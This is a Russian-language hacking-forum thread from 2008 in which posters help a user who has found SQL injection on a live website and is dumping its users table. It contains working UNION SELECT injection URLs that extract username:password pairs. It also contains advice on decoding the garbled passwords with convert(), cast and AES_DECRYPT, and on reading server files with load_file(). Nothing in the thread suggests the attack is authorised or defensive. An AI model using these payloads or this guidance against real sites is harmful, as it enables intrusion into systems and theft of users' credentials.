Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   абра-кадабра в паролях пользователей (https://forum.antichat.xyz/showthread.php?t=71538)

mr.celt 26.05.2008 13:45

абра-кадабра в паролях пользователей
 
Доброго дня античатовцы.
Вопрос следующий: на сайте нашел скуль, разделался с ней как написано в учебниках, в результате получил такую инъекцию
site.com/details.php?id=-5'+union+select+1,concat(username,char(58),passwor d),3+from+users_m_t+limit+10,1/*
по идеи должны вываливаться пары логин:пароль, но тут облом вышел, получаю вот что
shilpa:^��f�
patelph1:g�r1�n ну и т.д...
Что это за каракули в паролях?
Думал дело в кодировке, но смена не помогла.

groundhog 26.05.2008 14:20

Посмотри в какой кодировке тебе отдаётся страница... Проблема как раз в кодировке, возможно это можно обойти с помощью Convert... Без ссылки не могу сказать более точно...

$n@ke 26.05.2008 14:21

либо покоцаные, либо кодировка не та, либо попробуй using latin1 и т.п.

WeddRRRyss 26.05.2008 14:39

Пассы просто захешированы. Походу не в мд5, а в чем то другом.

S00pY 26.05.2008 14:50

Цитата:

Сообщение от WeddRRRyss
Пассы просто захешированы. Походу не в мд5, а в чем то другом.

Это не хеш!Имхо это кодировка !

WeddRRRyss 26.05.2008 14:52

Цитата:

Сообщение от S00pY
Это не хеш!Имхо это кодировка !

Если кодировка, то еще проще. не придется брутить. Главное понять в чем закодированны пасс.

Spyder 26.05.2008 14:56

встречался однажды с такой херью
попробуй поюзать convert()

geezer.code 26.05.2008 15:42

мне обычно помогает cast( ... as binary)

mr.celt 26.05.2008 16:53

Цитата:

Сообщение от $n@ke
либо покоцаные, либо кодировка не та, либо попробуй using latin1 и т.п.

попробовал вот так
http://site.com/details.php?id=-5'+union+select+1,concat(username,char(58),convert (password+using+latin1)),3+from+users_m_t+limit+10 ,1/*
те же каракули

при использовании cast (... as binary) тоже ничего хорошего.

Shred 26.05.2008 18:41

в какой кодировке сама страница?

groundhog 26.05.2008 19:54

Урлу в студию

mr.celt 27.05.2008 10:11

Цитата:

Сообщение от Shred
в какой кодировке сама страница?

UTF-8

blackybr 27.05.2008 10:41

скорее всего в базе они хранятся aes_encrypt-еные, нуждны скрипты чтобы знать с каким шифром декриптить

mr.celt 28.05.2008 11:45

Цитата:

Сообщение от blackybr
скорее всего в базе они хранятся aes_encrypt-еные, нуждны скрипты чтобы знать с каким шифром декриптить

"врагу не здается наш гордый варяг ..." :)

значит попробовал вот что:
http://site.com/details.php?id=-5'+union+select+1,concat(username,char(58),AES_DEC RYPT(AES_ENCRYPT(version(),0x71),0x71)),3+from+use rs_m_t+limit+17,1/*

проконало... раньше данные типа user(), version() получить не удавалось, подставил password... Сцуко опять каракули :mad:

chekist 29.05.2008 18:06

Цитата:

Сообщение от mr.celt
раньше данные типа user(), version() получить не удавалось

были проблемы с кодировкой

Цитата:

Сообщение от mr.celt
подставил password... Сцуко опять каракули

значит пасы всётаки криптованы :(

1.попробуй найти исходники если движёк беплатный
2.используй load_file() может с правами повезёт

Jokester 29.05.2008 18:26

Цитата:

Сообщение от chekist
были проблемы с кодировкой

1)Да не проблемы с кодировкой, а скорее всего фильтрация скобок
2)Пароли естественно криптованные, это уже blackybr написал
Цитата:

Сообщение от chekist
используй load_file() может с правами повезёт

3) Что значит МОЖЕТ с правами повезёт? User()=root повезло нет ,не повезло :D

mr.celt 30.05.2008 15:55

Цитата:

Сообщение от chekist
1.попробуй найти исходники если движёк беплатный
2.используй load_file() может с правами повезёт

1. к сожалению движек самописный и исходников не достать.

2. user()!=root и привелегий на load_file тоже нет(

Значит, мнение что пароли шифрованы оказывается реальным, значит я так понимаю, нужно запрашивать типа так

http://site.com/details.php?id=-5'+union+select+1,concat(username,char(58),AES_DEC RYPT(version(),XXX)),3+from+users_m_t+limit+17,1/*

, где XXX-ключ
вроде так...

Jokester 30.05.2008 16:07

Не факт.
Алгоритм шифрования тоже может быть самописным
Ищи другие пути
P.S Я полагаю сдесь >>AES_DEC RYPT(version(),XXX) ты просто опечатался вместо version() поле пароля

mr.celt 30.05.2008 16:54

Цитата:

Сообщение от jokester
Не факт.
Алгоритм шифрования тоже может быть самописным
Ищи другие пути
P.S Я полагаю сдесь >>AES_DEC RYPT(version(),XXX) ты просто опечатался вместо version() поле пароля

да хотел конечно password... но буду дальше пытаться.

chekist 31.05.2008 20:24

Цитата:

Сообщение от jokester
3) Что значит МОЖЕТ с правами повезёт? User()=root повезло нет ,не повезло :D

не только root имеет привелегия File_priv

MstDoc 31.05.2008 22:45

по ходу там крипт в sha1(), я как-то с таким сталкивался, тож херь какая-то вылазила, у меня было sha1(base_64())


Время: 19:46